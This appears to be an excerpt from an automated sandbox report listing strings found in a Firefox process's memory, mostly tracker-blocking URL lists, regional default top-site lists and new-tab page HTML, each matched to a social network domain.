Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://tpc.googlesyndication.com/safeframe//html/container.htmlC:\Program Files\Mozilla Firefox\browser\features://securepubads.g.doubleclick.net/tag/js/gpt.jscolor-mix(in srgb, currentColor 25%, transparent)https://www.amazon.com/exec/obidos/external-search/*://securepubads.g.doubleclick.net/gpt/pubads_impl_.js*://id.rambler.ru/rambler-id-helper/auth_events.js://media.richrelevance.com/rrserver/js/1.2/p13n.jspruneAttachments/</allAttachments</request.onsuccess equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://track.adform.net/serving/scripts/trackpoint/://connect.facebook.net//all.js://www.googletagmanager.com/gtm.jswebcompat-reporter%40mozilla.org:1.5.1://auth.9c9media.ca/auth/main.js://web-assets.toggl.com/app/assets/scripts/.js://www.everestjs.net/static/st.v3.js*://www.rva311.com/static/js/main..chunk.jspictureinpicture%40mozilla.org:1.0.0webcompat-reporter@mozilla.org.xpi://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js*://.imgur.com/js/vendor..bundle.js://libs.coremetrics.com/eluminate.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/addons/addon-manager-startup;1FileUtils_closeAtomicFileOutputStream://pub.doubleverify.com/signals/pub.js://static.criteo.net/js/ld/publishertag.js://cdn.branch.io/branch-latest.min.js://www.google-analytics.com/gtm/js://www.google-analytics.com/plugins/ua/ec.jsFileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://c.amazon-adsystem.com/aax2/apstag.js://www.google-analytics.com/analytics.js*://static.chartbeat.com/js/chartbeat_video.js://static.chartbeat.com/js/chartbeat.js://connect.facebook.net//sdk.js*://.imgur.io/js/vendor.*.bundle.jspruneAttachments/</attachmentsToDelete< equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3666377402.000001FABB6DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_offUpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
